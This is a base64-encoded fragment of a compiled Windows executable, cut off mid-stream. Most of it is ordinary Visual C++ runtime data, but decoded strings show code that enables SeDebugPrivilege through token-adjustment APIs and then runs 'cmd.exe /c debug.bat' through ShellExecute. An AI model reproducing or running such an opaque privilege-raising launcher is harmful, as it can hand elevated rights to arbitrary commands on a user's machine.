AE0ATQAgAGQAZAAsACAAeQB5AHkAeQAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAUABNAAAAAABBAE0AAAAAAAAAAABEAGUAYwBlAG0AYgBlAHIAAAAAAAAAAABOAG8AdgBlAG0AYgBlAHIAAAAAAAAAAABPAGMAdABvAGIAZQByAAAAUwBlAHAAdABlAG0AYgBlAHIAAAAAAAAAQQB1AGcAdQBzAHQAAAAAAEoAdQBsAHkAAAAAAAAAAABKAHUAbgBlAAAAAAAAAAAAQQBwAHIAaQBsAAAAAAAAAE0AYQByAGMAaAAAAAAAAABGAGUAYgByAHUAYQByAHkAAAAAAAAAAABKAGEAbgB1AGEAcgB5AAAARABlAGMAAABOAG8AdgAAAE8AYwB0AAAAUwBlAHAAAABBAHUAZwAAAEoAdQBsAAAASgB1AG4AAABNAGEAeQAAAEEAcAByAAAATQBhAHIAAABGAGUAYgAAAEoAYQBuAAAAUwBhAHQAdQByAGQAYQB5AAAAAAAAAAAARgByAGkAZABhAHkAAAAAAFQAaAB1AHIAcwBkAGEAeQAAAAAAAAAAAFcAZQBkAG4AZQBzAGQAYQB5AAAAAAAAAFQAdQBlAHMAZABhAHkAAABNAG8AbgBkAGEAeQAAAAAAUwB1AG4AZABhAHkAAAAAAFMAYQB0AAAARgByAGkAAABUAGgAdQAAAFcAZQBkAAAAVAB1AGUAAABNAG8AbgAAAFMAdQBuAAAASEg6bW06c3MAAAAAAAAAAGRkZGQsIE1NTU0gZGQsIHl5eXkAAAAAAE1NL2RkL3l5AAAAAFBNAABBTQAAAAAAAERlY2VtYmVyAAAAAAAAAABOb3ZlbWJlcgAAAAAAAAAAT2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAAAAAAAEZlYnJ1YXJ5AAAAAAAAAABKYW51YXJ5AERlYwBOb3YAT2N0AFNlcABBdWcASnVsAEp1bgBNYXkAQXByAE1hcgBGZWIASmFuAFNhdHVyZGF5AAAAAEZyaWRheQAAAAAAAFRodXJzZGF5AAAAAAAAAABXZWRuZXNkYXkAAAAAAAAAVHVlc2RheQBNb25kYXkAAFN1bmRheQAAU2F0AEZyaQBUaHUAV2VkAFR1ZQBNb24AU3VuAAAAAAByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAEQATwBNAEEASQBOACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAABSADYAMAAzADMADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAdQBzAGUAIABNAFMASQBMACAAYwBvAGQAZQAgAGYAcgBvAG0AIAB0AGgAaQBzACAAYQBzAHMAZQBtAGIAbAB5ACAAZAB1AHIAaQBuAGcAIABuAGEAdABpAHYAZQAgAGMAbwBkAGUAIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4AIABJAHQAIABpAHMAIABtAG8AcwB0ACAAbABpAGsAZQBsAHkAIAB0AGgAZQAgAHIAZQBzAHUAbAB0ACAAbwBmACAAYwBhAGwAbABpAG4AZwAgAGEAbgAgAE0AUwBJAEwALQBjAG8AbQBwAGkAbABlAGQAIAAoAC8AYwBsAHIAKQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAcgBvAG0AIABhACAAbgBhAHQAaQB2AGUAIABjAG8AbgBzAHQAcgB1AGMAdABvAHIAIABvAHIAIABmAHIAbwBtACAARABsAGwATQBhAGkAbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAAAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAAAAAAAAAAAAUgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAAAAAAAAAAABSADYAMAAwADkADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQADQAKAAAAAAAAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAAAAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAAAAAAFCAAIABAAAACAAAAAAAAADwfwCAAQAAAAkAAAAAAAAAkH8AgAEAAAAKAAAAAAAAAEB/AIABAAAAEAAAAAAAAADgfgCAAQAAABEAAAAAAAAAgH4AgAEAAAASAAAAAAAAADB+AIABAAAAEwAAAAAAAADQfQCAAQAAABgAAAAAAAAAYH0AgAEAAAAZAAAAAAAAABB9AIABAAAAGgAAAAAAAACgfACAAQAAABsAAAAAAAAAMHwAgAEAAAAcAAAAAAAAAOB7AIABAAAAHgAAAAAAAACYewCAAQAAAB8AAAAAAAAA0HoAgAEAAAAgAAAAAAAAAGB6AIABAAAAIQAAAAAAAABweACAAQAAAHgAAAAAAAAASHgAgAEAAAB5AAAAAAAAACh4AIABAAAAegAAAAAAAAAIeACAAQAAAPwAAAAAAAAAAHgAgAEAAAD/AAAAAAAAAOB3AIABAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAAoACgAAAAAAAAAAAC4ALgAuAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAg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AAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwA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AFyiAAAAAAAAcqIAAAAAAACMogAAAAAAAKKiAAAAAAAAsKIAAAAAAAC+ogAAAAAAAMyiAAAAAAAA5qIAAAAAAAD2ogAAAAAAAAyjAAAAAAAAJqMAAAAAAAAyowAAAAAAAESjAAAAAAAAWKMAAAAAAABwowAAAAAAAIijAAAAAAAAlKMAAAAAAACeowAAAAAAAKqjAAAAAAAAvKMAAAAAAADKowAAAAAAANqjAAAAAAAA5qMAAAAAAAD8owAAAAAAAAikAAAAAAAAGKQAAAAAAAAupAAAAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAAAAAAAAMYBR2V0Q3VycmVudFByb2Nlc3MAwARTbGVlcABSAENsb3NlSGFuZGxlAEtFUk5FTDMyLmRsbAAA9wFPcGVuUHJvY2Vzc1Rva2VuAACWAUxvb2t1cFByaXZpbGVnZVZhbHVlQQAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBRFZBUEkzMi5kbGwAAB4BU2hlbGxFeGVjdXRlQQBTSEVMTDMyLmRsbADLAUdldEN1cnJlbnRUaHJlYWRJZAAAWwFGbHNTZXRWYWx1ZQCMAUdldENvbW1hbmRMaW5lQQDOBFRlcm1pbmF0ZVByb2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAYBFJ0bENhcHR1cmVDb250ZXh0ACUEUnRsVW53aW5kRXgA7gBFbmNvZGVQb2ludGVyAFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAAAIAkdldExhc3RFcnJvcgAAWAFGbHNBbGxvYwAA1wJIZWFwRnJlZQAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzAMsARGVjb2RlUG9pbnRlcgB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AGQJHZXRNb2R1bGVGaWxlTmFtZUEAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AK